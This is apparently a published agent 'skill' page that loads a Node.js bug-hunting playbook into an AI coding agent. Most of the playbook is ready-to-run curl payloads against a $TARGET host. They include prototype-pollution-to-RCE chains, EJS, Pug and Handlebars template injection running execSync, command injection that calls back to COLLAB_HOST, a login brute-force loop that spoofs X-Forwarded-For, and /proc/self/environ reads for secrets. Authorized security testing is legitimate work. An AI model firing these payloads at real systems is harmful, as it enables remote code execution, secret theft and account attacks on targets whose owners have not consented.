hunt-nodejs skill

by elementalsouls·elementalsouls/Claude-BugHunter·4.7k stars·MIT

Hunt Node.js specific vulnerabilities — Prototype Pollution → RCE chains (lodash/merge/assign), Express trust proxy misconfiguration, child_process/eval injection, template engine SSTI (EJS/Pug/Handlebars), path traversal in file servers, require() injection, environment variable exfil via /proc/self/environ. Use when target runs Node.js/Express/Fastify/NestJS/Koa.

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Install the hunt-nodejs skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.

git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-nodejs ~/.claude/skills/hunt-nodejs

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In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

HUNT-NODEJS — Node.js Specific Vulnerabilities

Crown Jewel Targets

Prototype Pollution reaching a sink in Node.js backend = Critical RCE.

Highest-value chains:

Prototype Pollution → RCE — proto injection via lodash.merge / Object.assign → polluted prototype reaches child_process.exec or vm.runInNewContext sink
Express trust proxy — app.set('trust proxy', true) without validation → attacker sets X-Forwarded-For to bypass IP allowlists or rate limits
EJS/Pug SSTI — template engine receives user input → {{= process.mainModule.require('child_process').execSync('id') }}
childprocess injection** — user input interpolated into shell command string → OS command injection
require() path traversal — attacker-controlled module path → load arbitrary file as JS

Attack Surface Signals

X-Powered-By: Express           Confirms Express.js
Node.js in error messages        Runtime detected
package.json exposed             Dependency list + versions
/proc/self/environ accessible    Environment variable exfil
Error stack traces with .js paths  Node.js confirmed
__proto__ in JSON accepted        Prototype pollution candidate

Phase 1 — Fingerprint

# Confirm Node.js/Express
curl -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"

# Check for package.json / node_modules exposure
curl -s "https://$TARGET/package.json"
curl -s "https://$TARGET/package-lock.json"
curl -s "https://$TARGET/node_modules/.package-lock.json"

# Error-based version detection
curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"

Phase 2 — Prototype Pollution Detection

# JSON body injection — test if __proto__ is accepted
curl -s -X POST https://$TARGET/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": "yes"}}'

# Constructor prototype
curl -s -X POST https://$TARGET/api/settings \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# URL query param injection (qs library)
curl -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"

# Confirm pollution: does a subsequent request reflect the polluted key?
curl -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"

Phase 3 — Prototype Pollution → RCE Chain

# If pollution is confirmed, attempt to reach dangerous sinks

# Sink 1: child_process via options.shell pollution
curl -s -X POST https://$TARGET/api/update \
  -H "Content-Type: application/json" \
  -d '{
    "__proto__": {
      "shell": "node",
      "NODE_OPTIONS": "--require /proc/self/fd/0",
      "env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
    }
  }'

# Sink 2: lodash template pollution (CVE-2021-23337)
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'

# Sink 3: ejs template options pollution
# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
curl -s -X POST https://$TARGET/api/template \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'

# OOB confirmation — check Interactsh for callback

Phase 4 — Express Trust Proxy Abuse

# If Express has trust proxy enabled, X-Forwarded-For is trusted
# Test: does spoofed IP bypass IP-based rate limiting or allowlist?

# Spoof IP to 127.0.0.1 (localhost bypass)
curl -s -X POST https://$TARGET/api/admin/action \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "Content-Type: application/json" \
  -d '{"action": "test"}'

# Spoof to internal IP range
curl -s -X POST https://$TARGET/api/internal \
  -H "X-Forwarded-For: 10.0.0.1" \
  -H "X-Real-IP: 10.0.0.1"

# Rate limit bypass via rotating fake IPs
for i in $(seq 1 50); do
  curl -s https://$TARGET/api/login \
    -H "X-Forwarded-For: 1.2.3.$i" \
    -d '{"email":"admin@test.com","password":"wrong"}' \
    -o /dev/null -w "$i: %{http_code}\n"
done

Phase 5 — Template Engine SSTI (EJS / Pug / Handlebars)

# EJS SSTI — if user input reaches EJS template context
# Test basic: <%= 7*7 %> should return 49
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "<%= 7*7 %>"}'

# EJS RCE payload
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "<%= process.mainModule.require(\"child_process\").execSync(\"id\").toString() %>"}'

# Pug SSTI
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "- var x = root.process\n= x.mainModule.require(\"child_process\").execSync(\"id\")"}'

# Handlebars — prototype pollution via template
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return process.mainModule.require(childprocess).execSync(id)\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'

Phase 6 — child_process Command Injection

# Look for endpoints that run shell commands with user input
# Signals: /api/convert, /api/exec, /api/ping, /api/scan

# Basic injection test
curl -s "https://$TARGET/api/ping?host=127.0.0.1;id"
curl -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci"
curl -s -X POST https://$TARGET/api/exec \
  -H "Content-Type: application/json" \
  -d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'

# OOB via DNS
curl -s "https://$TARGET/api/dns?host=\$(curl+COLLAB_HOST/dns-ci).example.com"

Phase 7 — /proc/self/environ Exfil

# If LFI exists on Node.js app, /proc/self/environ leaks env vars
curl -s "https://$TARGET/api/file?path=/proc/self/environ"
curl -s "https://$TARGET/api/read?file=../../../../proc/self/environ"

# Also check:
curl -s "https://$TARGET/api/file?path=/proc/self/cmdline"  # full command line
curl -s "https://$TARGET/api/file?path=/proc/self/cwd"       # working directory

Chain Table

Validation

✅ Prototype pollution: key appears in subsequent API responses without being sent ✅ RCE chain: OOB callback received OR id output in response ✅ Trust proxy: spoofed IP accepted, bypasses rate limit or allowlist

Severity:

Prototype pollution → RCE: Critical
SSTI → RCE: Critical
child_process injection: Critical
Trust proxy → rate limit bypass: Medium
/proc/self/environ exfil: High (if cloud keys present)

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